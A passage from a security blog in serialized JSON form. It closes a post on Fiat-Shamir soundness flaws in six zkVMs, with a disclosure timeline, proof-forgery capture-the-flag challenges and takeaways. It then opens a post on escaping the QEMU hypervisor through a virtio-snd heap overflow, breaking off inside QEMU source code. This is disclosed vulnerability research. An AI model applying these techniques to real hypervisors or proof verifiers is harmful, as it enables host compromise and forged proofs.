Timeline",{"type":21,"tag":58036,"props":125292,"children":125293},{},[125294,125322],{"type":21,"tag":125295,"props":125296,"children":125297},"thead",{},[125298],{"type":21,"tag":125299,"props":125300,"children":125301},"tr",{},[125302,125307,125312,125317],{"type":21,"tag":125303,"props":125304,"children":125305},"th",{},[125306],{"type":26,"value":25899},{"type":21,"tag":125303,"props":125308,"children":125309},{},[125310],{"type":26,"value":125311},"Reported",{"type":21,"tag":125303,"props":125313,"children":125314},{},[125315],{"type":26,"value":125316},"Fixed",{"type":21,"tag":125303,"props":125318,"children":125319},{},[125320],{"type":26,"value":125321},"Response Time",{"type":21,"tag":125323,"props":125324,"children":125325},"tbody",{},[125326,125349,125370,125390,125412,125433],{"type":21,"tag":125299,"props":125327,"children":125328},{},[125329,125334,125339,125344],{"type":21,"tag":125330,"props":125331,"children":125332},"td",{},[125333],{"type":26,"value":110157},{"type":21,"tag":125330,"props":125335,"children":125336},{},[125337],{"type":26,"value":125338},"Sep 2025",{"type":21,"tag":125330,"props":125340,"children":125341},{},[125342],{"type":26,"value":125343},"Oct 3, 2025",{"type":21,"tag":125330,"props":125345,"children":125346},{},[125347],{"type":26,"value":125348},"\u003C1 week",{"type":21,"tag":125299,"props":125350,"children":125351},{},[125352,125356,125361,125366],{"type":21,"tag":125330,"props":125353,"children":125354},{},[125355],{"type":26,"value":110163},{"type":21,"tag":125330,"props":125357,"children":125358},{},[125359],{"type":26,"value":125360},"Oct 2025",{"type":21,"tag":125330,"props":125362,"children":125363},{},[125364],{"type":26,"value":125365},"Oct 24, 2025",{"type":21,"tag":125330,"props":125367,"children":125368},{},[125369],{"type":26,"value":125348},{"type":21,"tag":125299,"props":125371,"children":125372},{},[125373,125377,125381,125386],{"type":21,"tag":125330,"props":125374,"children":125375},{},[125376],{"type":26,"value":110169},{"type":21,"tag":125330,"props":125378,"children":125379},{},[125380],{"type":26,"value":125360},{"type":21,"tag":125330,"props":125382,"children":125383},{},[125384],{"type":26,"value":125385},"Oct 31, 2025",{"type":21,"tag":125330,"props":125387,"children":125388},{},[125389],{"type":26,"value":125348},{"type":21,"tag":125299,"props":125391,"children":125392},{},[125393,125397,125402,125407],{"type":21,"tag":125330,"props":125394,"children":125395},{},[125396],{"type":26,"value":110175},{"type":21,"tag":125330,"props":125398,"children":125399},{},[125400],{"type":26,"value":125401},"Nov 2025",{"type":21,"tag":125330,"props":125403,"children":125404},{},[125405],{"type":26,"value":125406},"Mar 5, 2026",{"type":21,"tag":125330,"props":125408,"children":125409},{},[125410],{"type":26,"value":125411},"~4 months",{"type":21,"tag":125299,"props":125413,"children":125414},{},[125415,125419,125424,125429],{"type":21,"tag":125330,"props":125416,"children":125417},{},[125418],{"type":26,"value":110187},{"type":21,"tag":125330,"props":125420,"children":125421},{},[125422],{"type":26,"value":125423},"Dec 2025",{"type":21,"tag":125330,"props":125425,"children":125426},{},[125427],{"type":26,"value":125428},"Dec 29, 2025",{"type":21,"tag":125330,"props":125430,"children":125431},{},[125432],{"type":26,"value":125348},{"type":21,"tag":125299,"props":125434,"children":125435},{},[125436,125440,125444,125449],{"type":21,"tag":125330,"props":125437,"children":125438},{},[125439],{"type":26,"value":110181},{"type":21,"tag":125330,"props":125441,"children":125442},{},[125443],{"type":26,"value":125401},{"type":21,"tag":125330,"props":125445,"children":125446},{},[125447],{"type":26,"value":125448},"Jan 21, 2026?",{"type":21,"tag":125330,"props":125450,"children":125451},{},[125452],{"type":26,"value":125453},"3 months",{"type":21,"tag":22,"props":125455,"children":125456},{},[125457],{"type":26,"value":125458},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":21,"tag":21491,"props":125460,"children":125461},{},[],{"type":21,"tag":66,"props":125463,"children":125465},{"id":125464},"challenges",[125466],{"type":26,"value":110200},{"type":21,"tag":22,"props":125468,"children":125469},{},[125470,125472],{"type":26,"value":125471},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":21,"tag":125473,"props":125474,"children":125475},"del",{},[125476],{"type":26,"value":125477},"the first 10 solvers will get a T-shirt.",{"type":21,"tag":22,"props":125479,"children":125480},{},[125481,125483,125536,125537,125793],{"type":26,"value":125482},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":21,"tag":78,"props":125484,"children":125486},{"className":125485},[6715,6716],[125487],{"type":21,"tag":153,"props":125488,"children":125490},{"className":125489},[6721],[125491],{"type":21,"tag":153,"props":125492,"children":125494},{"className":125493,"ariaHidden":3294},[6726],[125495],{"type":21,"tag":153,"props":125496,"children":125498},{"className":125497},[6731],[125499,125503,125508,125513,125517,125522,125527,125531],{"type":21,"tag":153,"props":125500,"children":125502},{"className":125501,"style":117399},[6736],[],{"type":21,"tag":153,"props":125504,"children":125506},{"className":125505},[6742,24280],[125507],{"type":26,"value":29},{"type":21,"tag":153,"props":125509,"children":125511},{"className":125510},[6852],[125512],{"type":26,"value":6855},{"type":21,"tag":153,"props":125514,"children":125516},{"className":125515,"style":6859},[6820],[],{"type":21,"tag":153,"props":125518,"children":125520},{"className":125519},[6742,24280],[125521],{"type":26,"value":5972},{"type":21,"tag":153,"props":125523,"children":125525},{"className":125524},[6852],[125526],{"type":26,"value":6855},{"type":21,"tag":153,"props":125528,"children":125530},{"className":125529,"style":6859},[6820],[],{"type":21,"tag":153,"props":125532,"children":125534},{"className":125533},[6742,24280],[125535],{"type":26,"value":5896},{"type":26,"value":112000},{"type":21,"tag":78,"props":125538,"children":125540},{"className":125539},[6715,6716],[125541],{"type":21,"tag":153,"props":125542,"children":125544},{"className":125543},[6721],[125545],{"type":21,"tag":153,"props":125546,"children":125548},{"className":125547,"ariaHidden":3294},[6726],[125549,125612,125674,125780],{"type":21,"tag":153,"props":125550,"children":125552},{"className":125551},[6731],[125553,125558,125599,125603,125608],{"type":21,"tag":153,"props":125554,"children":125557},{"className":125555,"style":125556},[6736],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":21,"tag":153,"props":125559,"children":125561},{"className":125560},[6742],[125562,125567],{"type":21,"tag":153,"props":125563,"children":125565},{"className":125564},[6742,24280],[125566],{"type":26,"value":29},{"type":21,"tag":153,"props":125568,"children":125570},{"className":125569},[6757],[125571],{"type":21,"tag":153,"props":125572,"children":125574},{"className":125573},[6762],[125575],{"type":21,"tag":153,"props":125576,"children":125578},{"className":125577},[6767],[125579],{"type":21,"tag":153,"props":125580,"children":125582},{"className":125581,"style":6737},[6772],[125583],{"type":21,"tag":153,"props":125584,"children":125585},{"style":6776},[125586,125590],{"type":21,"tag":153,"props":125587,"children":125589},{"className":125588,"style":6782},[6781],[],{"type":21,"tag":153,"props":125591,"children":125593},{"className":125592},[6787,6788,6789,6790],[125594],{"type":21,"tag":153,"props":125595,"children":125597},{"className":125596},[6742,6790],[125598],{"type":26,"value":4303},{"type":21,"tag":153,"props":125600,"children":125602},{"className":125601,"style":6821},[6820],[],{"type":21,"tag":153,"props":125604,"children":125606},{"className":125605},[6826],[125607],{"type":26,"value":4099},{"type":21,"tag":153,"props":125609,"children":125611},{"className":125610,"style":6821},[6820],[],{"type":21,"tag":153,"props":125613,"children":125615},{"className":125614},[6731],[125616,125620,125661,125665,125670],{"type":21,"tag":153,"props":125617,"children":125619},{"className":125618,"style":6737},[6736],[],{"type":21,"tag":153,"props":125621,"children":125623},{"className":125622},[6742],[125624,125629],{"type":21,"tag":153,"props":125625,"children":125627},{"className":125626},[6742,24280],[125628],{"type":26,"value":5972},{"type":21,"tag":153,"props":125630,"children":125632},{"className":125631},[6757],[125633],{"type":21,"tag":153,"props":125634,"children":125636},{"className":125635},[6762],[125637],{"type":21,"tag":153,"props":125638,"children":125640},{"className":125639},[6767],[125641],{"type":21,"tag":153,"props":125642,"children":125644},{"className":125643,"style":6737},[6772],[125645],{"type":21,"tag":153,"props":125646,"children":125647},{"style":6776},[125648,125652],{"type":21,"tag":153,"props":125649,"children":125651},{"className":125650,"style":6782},[6781],[],{"type":21,"tag":153,"props":125653,"children":125655},{"className":125654},[6787,6788,6789,6790],[125656],{"type":21,"tag":153,"props":125657,"children":125659},{"className":125658},[6742,6790],[125660],{"type":26,"value":4303},{"type":21,"tag":153,"props":125662,"children":125664},{"className":125663,"style":6918},[6820],[],{"type":21,"tag":153,"props":125666,"children":125668},{"className":125667},[6923],[125669],{"type":26,"value":2367},{"type":21,"tag":153,"props":125671,"children":125673},{"className":125672,"style":6918},[6820],[],{"type":21,"tag":153,"props":125675,"children":125677},{"className":125676},[6731],[125678,125683,125724,125729,125733,125738,125743,125747,125752,125757,125761,125766,125770,125776],{"type":21,"tag":153,"props":125679,"children":125682},{"className":125680,"style":125681},[6736],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":21,"tag":153,"props":125684,"children":125686},{"className":125685},[6742],[125687,125692],{"type":21,"tag":153,"props":125688,"children":125690},{"className":125689},[6742,24280],[125691],{"type":26,"value":5896},{"type":21,"tag":153,"props":125693,"children":125695},{"className":125694},[6757],[125696],{"type":21,"tag":153,"props":125697,"children":125699},{"className":125698},[6762],[125700],{"type":21,"tag":153,"props":125701,"children":125703},{"className":125702},[6767],[125704],{"type":21,"tag":153,"props":125705,"children":125707},{"className":125706,"style":6737},[6772],[125708],{"type":21,"tag":153,"props":125709,"children":125710},{"style":6776},[125711,125715],{"type":21,"tag":153,"props":125712,"children":125714},{"className":125713,"style":6782},[6781],[],{"type":21,"tag":153,"props":125716,"children":125718},{"className":125717},[6787,6788,6789,6790],[125719],{"type":21,"tag":153,"props":125720,"children":125722},{"className":125721},[6742,6790],[125723],{"type":26,"value":4303},{"type":21,"tag":153,"props":125725,"children":125727},{"className":125726},[6852],[125728],{"type":26,"value":6855},{"type":21,"tag":153,"props":125730,"children":125732},{"className":125731,"style":6859},[6820],[],{"type":21,"tag":153,"props":125734,"children":125736},{"className":125735},[6742,24280],[125737],{"type":26,"value":29},{"type":21,"tag":153,"props":125739,"children":125741},{"className":125740},[6852],[125742],{"type":26,"value":6855},{"type":21,"tag":153,"props":125744,"children":125746},{"className":125745,"style":6859},[6820],[],{"type":21,"tag":153,"props":125748,"children":125750},{"className":125749},[6742,24280],[125751],{"type":26,"value":5972},{"type":21,"tag":153,"props":125753,"children":125755},{"className":125754},[6852],[125756],{"type":26,"value":6855},{"type":21,"tag":153,"props":125758,"children":125760},{"className":125759,"style":6859},[6820],[],{"type":21,"tag":153,"props":125762,"children":125764},{"className":125763},[6742,24280],[125765],{"type":26,"value":5896},{"type":21,"tag":153,"props":125767,"children":125769},{"className":125768,"style":6918},[6820],[],{"type":21,"tag":153,"props":125771,"children":125773},{"className":125772},[6923],[125774],{"type":26,"value":125775},"≥",{"type":21,"tag":153,"props":125777,"children":125779},{"className":125778,"style":6918},[6820],[],{"type":21,"tag":153,"props":125781,"children":125783},{"className":125782},[6731],[125784,125788],{"type":21,"tag":153,"props":125785,"children":125787},{"className":125786,"style":96375},[6736],[],{"type":21,"tag":153,"props":125789,"children":125791},{"className":125790},[6742],[125792],{"type":26,"value":3033},{"type":26,"value":125794},". Good luck!",{"type":21,"tag":114,"props":125796,"children":125798},{"id":125797},"jolt",[125799],{"type":26,"value":110157},{"type":21,"tag":22,"props":125801,"children":125802},{},[125803,125805,125816,125818],{"type":26,"value":125804},"See ",{"type":21,"tag":29,"props":125806,"children":125813},{"href":125807,"target":125808,"rel":125809,"download":125812},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[125810,125811],"noopener","noreferrer","handout_jolt.tar.gz",[125814],{"type":26,"value":125815},"the handout",{"type":26,"value":125817}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":21,"tag":78,"props":125819,"children":125821},{"className":125820},[],[125822],{"type":26,"value":125823},"jolt.chal.osec.io:8960",{"type":21,"tag":114,"props":125825,"children":125827},{"id":125826},"nexus-1",[125828],{"type":26,"value":110163},{"type":21,"tag":22,"props":125830,"children":125831},{},[125832,125833,125840,125841],{"type":26,"value":125804},{"type":21,"tag":29,"props":125834,"children":125838},{"href":125835,"target":125808,"rel":125836,"download":125837},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[125810,125811],"handout_nexus.tar.gz",[125839],{"type":26,"value":125815},{"type":26,"value":125817},{"type":21,"tag":78,"props":125842,"children":125844},{"className":125843},[],[125845],{"type":26,"value":125846},"nexus.chal.osec.io:8950",{"type":21,"tag":22,"props":125848,"children":125849},{},[125850],{"type":26,"value":125851},"Now you should have enough margin to prove Fermat wrong.",{"type":21,"tag":21491,"props":125853,"children":125854},{},[],{"type":21,"tag":66,"props":125856,"children":125858},{"id":125857},"takeaways",[125859],{"type":26,"value":125860},"Takeaways",{"type":21,"tag":22,"props":125862,"children":125863},{},[125864],{"type":26,"value":125865},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":21,"tag":22,"props":125867,"children":125868},{},[125869],{"type":26,"value":125870},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":21,"tag":22,"props":125872,"children":125873},{},[125874,125879],{"type":21,"tag":8055,"props":125875,"children":125876},{},[125877],{"type":26,"value":125878},"For the ZK ecosystem:",{"type":26,"value":125880}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":21,"tag":22,"props":125882,"children":125883},{},[125884],{"type":26,"value":125885},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":21,"tag":22,"props":125887,"children":125888},{},[125889,125894],{"type":21,"tag":8055,"props":125890,"children":125891},{},[125892],{"type":26,"value":125893},"For auditors:",{"type":26,"value":125895}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":21,"tag":22,"props":125897,"children":125898},{},[125899,125904],{"type":21,"tag":8055,"props":125900,"children":125901},{},[125902],{"type":26,"value":125903},"For builders:",{"type":26,"value":125905}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":21,"tag":5603,"props":125907,"children":125908},{},[125909],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":125911},[125912,125913,125916,125922,125923,125931,125937,125940,125941,125945],{"id":110208,"depth":166,"text":110211},{"id":110350,"depth":166,"text":110353,"children":125914},[125915],{"id":110356,"depth":225,"text":110359},{"id":110785,"depth":166,"text":110788,"children":125917},[125918,125919,125920,125921],{"id":110796,"depth":225,"text":110799},{"id":110984,"depth":225,"text":110987},{"id":114365,"depth":225,"text":114368},{"id":115579,"depth":225,"text":115582},{"id":117216,"depth":166,"text":117219},{"id":117722,"depth":166,"text":117725,"children":125924},[125925,125926,125927,125928,125929,125930],{"id":117744,"depth":225,"text":117747},{"id":119069,"depth":225,"text":110163},{"id":120205,"depth":225,"text":120208},{"id":120873,"depth":225,"text":120876},{"id":123529,"depth":225,"text":123532},{"id":124083,"depth":225,"text":110187},{"id":125012,"depth":166,"text":125015,"children":125932},[125933,125934,125935,125936],{"id":125023,"depth":225,"text":125026},{"id":125193,"depth":225,"text":125196},{"id":125217,"depth":225,"text":125220},{"id":125233,"depth":225,"text":125236},{"id":125247,"depth":166,"text":125250,"children":125938},[125939],{"id":125253,"depth":225,"text":125256},{"id":125287,"depth":166,"text":125290},{"id":125464,"depth":166,"text":110200,"children":125942},[125943,125944],{"id":125797,"depth":225,"text":110157},{"id":125826,"depth":225,"text":110163},{"id":125857,"depth":166,"text":125860},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":125950,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":125951,"description":125952,"date":125953,"author":125954,"image":125955,"isFeatured":16,"onBlogPage":16,"tags":125957,"body":125960,"_type":5619,"_id":134246,"_source":5621,"_file":134247,"_stem":134248,"_extension":5624},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":125956,"width":99565,"height":16340},"/posts/virtio-snd-qemu-0day/title.png",[125958,125959],"qemu","heap-overflow",{"type":18,"children":125961,"toc":134228},[125962,125967,125972,125977,125983,125988,125993,126001,126007,126019,126023,126028,126036,126041,126047,126052,126065,126675,126710,126755,126789,126824,126959,127007,127013,127018,127774,127819,127855,127890,127955,127975,128425,128472,128475,128480,128545,128571,128593,128597,128602,128607,128613,128618,128623,128628,128634,128647,128653,128658,128666,128736,128741,128747,128760,128986,129049,129068,129451,129456,129489,129494,129770,129782,129800,130079,130091,130094,130129,130134,130140,130152,130164,130169,130174,130184,130219,130836,130868,130879,130915,130928,130934,130946,130954,130980,130985,131018,131059,131065,131084,131122,131130,131179,131184,131233,131238,131246,131333,131339,131378,131390,131398,131416,131435,131443,131455,131463,131482,131490,131501,131509,131520,131528,131541,131549,131555,131560,131573,131581,131599,131607,131619,131624,131632,131668,131701,131708,131742,131750,131755,131761,131773,131784,132063,132123,132191,132199,132233,132837,132848,132856,132862,132867,132878,133632,133665,133677,133763,133783,133992,134039,134051,134057,134076,134102,134130,134146,134173,134176,134196,134210,134214,134219,134224],{"type":21,"tag":22,"props":125963,"children":125964},{},[125965],{"type":26,"value":125966},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":21,"tag":66,"props":125968,"children":125969},{"id":125958},[125970],{"type":26,"value":125971},"QEMU",{"type":21,"tag":22,"props":125973,"children":125974},{},[125975],{"type":26,"value":125976},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":21,"tag":114,"props":125978,"children":125980},{"id":125979},"virtio-devices",[125981],{"type":26,"value":125982},"Virtio Devices",{"type":21,"tag":22,"props":125984,"children":125985},{},[125986],{"type":26,"value":125987},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":21,"tag":22,"props":125989,"children":125990},{},[125991],{"type":26,"value":125992},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":21,"tag":22,"props":125994,"children":125995},{},[125996],{"type":21,"tag":3644,"props":125997,"children":126000},{"alt":125998,"src":125999},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":21,"tag":66,"props":126002,"children":126004},{"id":126003},"finding-a-bug",[126005],{"type":26,"value":126006},"Finding a Bug",{"type":21,"tag":22,"props":126008,"children":126009},{},[126010,126012,126018],{"type":26,"value":126011},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":21,"tag":78,"props":126013,"children":126015},{"className":126014},[],[126016],{"type":26,"value":126017},"virtio-snd",{"type":26,"value":355},{"type":21,"tag":114,"props":126020,"children":126021},{"id":126017},[126022],{"type":26,"value":126017},{"type":21,"tag":22,"props":126024,"children":126025},{},[126026],{"type":26,"value":126027},"From the official documentation:",{"type":21,"tag":5689,"props":126029,"children":126030},{},[126031],{"type":21,"tag":22,"props":126032,"children":126033},{},[126034],{"type":26,"value":126035},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":21,"tag":22,"props":126037,"children":126038},{},[126039],{"type":26,"value":126040},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":21,"tag":21591,"props":126042,"children":126044},{"id":126043},"audio-data-buffers",[126045],{"type":26,"value":126046},"Audio Data Buffers",{"type":21,"tag":22,"props":126048,"children":126049},{},[126050],{"type":26,"value":126051},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":21,"tag":22,"props":126053,"children":126054},{},[126055,126057,126063],{"type":26,"value":126056},"For example, the following is ",{"type":21,"tag":78,"props":126058,"children":126060},{"className":126059},[],[126061],{"type":26,"value":126062},"virtio_snd_handle_rx_xfer",{"type":26,"value":126064},", which is responsible for allocating buffers for an input audio stream:",{"type":21,"tag":143,"props":126066,"children":126068},{"code":126067,"language":5896,"meta":7,"className":19212,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtQueueElement *elem;\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));     // [1]\n        if (!elem) {\n            break;\n        }\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);                  // [2]\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n            buffer->elem = elem;\n            buffer->vq = vq;\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n        }\n        continue;\n\n        [...]\n}\n\n",[126069],{"type":21,"tag":78,"props":126070,"children":126071},{"__ignoreMap":7},[126072,126079,126087,126095,126102,126110,126118,126126,126174,126181,126198,126205,126212,126224,126241,126248,126284,126304,126315,126322,126329,126337,126344,126377,126436,126454,126493,126518,126542,126570,126597,126635,126642,126654,126661,126668],{"type":21,"tag":153,"props":126073,"children":126074},{"class":155,"line":156},[126075],{"type":21,"tag":153,"props":126076,"children":126077},{"style":3050},[126078],{"type":26,"value":51656},{"type":21,"tag":153,"props":126080,"children":126081},{"class":155,"line":166},[126082],{"type":21,"tag":153,"props":126083,"children":126084},{"style":3050},[126085],{"type":26,"value":126086}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":21,"tag":153,"props":126088,"children":126089},{"class":155,"line":225},[126090],{"type":21,"tag":153,"props":126091,"children":126092},{"style":3050},[126093],{"type":26,"value":126094}," * respective streams for consumption.\n",{"type":21,"tag":153,"props":126096,"children":126097},{"class":155,"line":239},[126098],{"type":21,"tag":153,"props":126099,"children":126100},{"style":3050},[126101],{"type":26,"value":22185},{"type":21,"tag":153,"props":126103,"children":126104},{"class":155,"line":382},[126105],{"type":21,"tag":153,"props":126106,"children":126107},{"style":3050},[126108],{"type":26,"value":126109}," * @vdev: VirtIOSound device\n",{"type":21,"tag":153,"props":126111,"children":126112},{"class":155,"line":501},[126113],{"type":21,"tag":153,"props":126114,"children":126115},{"style":3050},[126116],{"type":26,"value":126117}," * @vq: rx virtqueue\n",{"type":21,"tag":153,"props":126119,"children":126120},{"class":155,"line":533},[126121],{"type":21,"tag":153,"props":126122,"children":126123},{"style":3050},[126124],{"type":26,"value":126125}," */\n",{"type":21,"tag":153,"props":126127,"children":126128},{"class":155,"line":542},[126129,126133,126137,126142,126147,126151,126156,126161,126165,126170],{"type":21,"tag":153,"props":126130,"children":126131},{"style":170},[126132],{"type":26,"value":53335},{"type":21,"tag":153,"props":126134,"children":126135},{"style":170},[126136],{"type":26,"value":53340},{"type":21,"tag":153,"props":126138,"children":126139},{"style":181},[126140],{"type":26,"value":126141}," virtio_snd_handle_rx_xfer",{"type":21,"tag":153,"props":126143,"children":126144},{"style":160},[126145],{"type":26,"value":126146},"(VirtIODevice ",{"type":21,"tag":153,"props":126148,"children":126149},{"style":198},[126150],{"type":26,"value":313},{"type":21,"tag":153,"props":126152,"children":126153},{"style":192},[126154],{"type":26,"value":126155},"vdev",{"type":21,"tag":153,"props":126157,"children":126158},{"style":160},[126159],{"type":26,"value":126160},", VirtQueue ",{"type":21,"tag":153,"props":126162,"children":126163},{"style":198},[126164],{"type":26,"value":313},{"type":21,"tag":153,"props":126166,"children":126167},{"style":192},[126168],{"type":26,"value":126169},"vq",{"type":21,"tag":153,"props":126171,"children":126172},{"style":160},[126173],{"type":26,"value":5909},{"type":21,"tag":153,"props":126175,"children":126176},{"class":155,"line":762},[126177],{"type":21,"tag":153,"props":126178,"children":126179},{"style":160},[126180],{"type":26,"value":13601},{"type":21,"tag":153,"props":126182,"children":126183},{"class":155,"line":776},[126184,126189,126193],{"type":21,"tag":153,"props":126185,"children":126186},{"style":160},[126187],{"type":26,"value":126188},"    VirtQueueElement ",{"type":21,"tag":153,"props":126190,"children":126191},{"style":198},[126192],{"type":26,"value":313},{"type":21,"tag":153,"props":126194,"children":126195},{"style":160},[126196],{"type":26,"value":126197},"elem;\n",{"type":21,"tag":153,"props":126199,"children":126200},{"class":155,"line":795},[126201],{"type":21,"tag":153,"props":126202,"children":126203},{"style":160},[126204],{"type":26,"value":107098},{"type":21,"tag":153,"props":126206,"children":126207},{"class":155,"line":808},[126208],{"type":21,"tag":153,"props":126209,"children":126210},{"emptyLinePlaceholder":16},[126211],{"type":26,"value":759},{"type":21,"tag":153,"props":126213,"children":126214},{"class":155,"line":820},[126215,126219],{"type":21,"tag":153,"props":126216,"children":126217},{"style":1751},[126218],{"type":26,"value":5784},{"type":21,"tag":153,"props":126220,"children":126221},{"style":160},[126222],{"type":26,"value":126223}," (;;) {\n",{"type":21,"tag":153,"props":126225,"children":126226},{"class":155,"line":842},[126227,126232,126236],{"type":21,"tag":153,"props":126228,"children":126229},{"style":160},[126230],{"type":26,"value":126231},"        VirtIOSoundPCMStream ",{"type":21,"tag":153,"props":126233,"children":126234},{"style":198},[126235],{"type":26,"value":313},{"type":21,"tag":153,"props":126237,"children":126238},{"style":160},[126239],{"type":26,"value":126240},"stream;\n",{"type":21,"tag":153,"props":126242,"children":126243},{"class":155,"line":3204},[126244],{"type":21,"tag":153,"props":126245,"children":126246},{"emptyLinePlaceholder":16},[126247],{"type":26,"value":759},{"type":21,"tag":153,"props":126249,"children":126250},{"class":155,"line":3230},[126251,126256,126260,126265,126270,126274,126279],{"type":21,"tag":153,"props":126252,"children":126253},{"style":160},[126254],{"type":26,"value":126255},"        elem ",{"type":21,"tag":153,"props":126257,"children":126258},{"style":198},[126259],{"type":26,"value":2367},{"type":21,"tag":153,"props":126261,"children":126262},{"style":181},[126263],{"type":26,"value":126264}," virtqueue_pop",{"type":21,"tag":153,"props":126266,"children":126267},{"style":160},[126268],{"type":26,"value":126269},"(vq, ",{"type":21,"tag":153,"props":126271,"children":126272},{"style":170},[126273],{"type":26,"value":57619},{"type":21,"tag":153,"props":126275,"children":126276},{"style":160},[126277],{"type":26,"value":126278},"(VirtQueueElement));",{"type":21,"tag":153,"props":126280,"children":126281},{"style":3050},[126282],{"type":26,"value":126283},"     // [1]\n",{"type":21,"tag":153,"props":126285,"children":126286},{"class":155,"line":3239},[126287,126291,126295,126299],{"type":21,"tag":153,"props":126288,"children":126289},{"style":1751},[126290],{"type":26,"value":2607},{"type":21,"tag":153,"props":126292,"children":126293},{"style":160},[126294],{"type":26,"value":5820},{"type":21,"tag":153,"props":126296,"children":126297},{"style":198},[126298],{"type":26,"value":23315},{"type":21,"tag":153,"props":126300,"children":126301},{"style":160},[126302],{"type":26,"value":126303},"elem) {\n",{"type":21,"tag":153,"props":126305,"children":126306},{"class":155,"line":3253},[126307,126311],{"type":21,"tag":153,"props":126308,"children":126309},{"style":1751},[126310],{"type":26,"value":6047},{"type":21,"tag":153,"props":126312,"children":126313},{"style":160},[126314],{"type":26,"value":1759},{"type":21,"tag":153,"props":126316,"children":126317},{"class":155,"line":3301},[126318],{"type":21,"tag":153,"props":126319,"children":126320},{"style":160},[126321],{"type":26,"value":2765},{"type":21,"tag":153,"props":126323,"children":126324},{"class":155,"line":3346},[126325],{"type":21,"tag":153,"props":126326,"children":126327},{"emptyLinePlaceholder":16},[126328],{"type":26,"value":759},{"type":21,"tag":153,"props":126330,"children":126331},{"class":155,"line":3355},[126332],{"type":21,"tag":153,"props":126333,"children":126334},{"style":160},[126335],{"type":26,"value":126336},"        [...]\n",{"type":21,"tag":153,"props":126338,"children":126339},{"class":155,"line":3364},[126340],{"type":21,"tag":153,"props":126341,"children":126342},{"emptyLinePlaceholder":16},[126343],{"type":26,"value":759},{"type":21,"tag":153,"props":126345,"children":126346},{"class":155,"line":3376},[126347,126352,126356,126360,126364,126368,126373],{"type":21,"tag":153,"props":126348,"children":126349},{"style":181},[126350],{"type":26,"value":126351},"        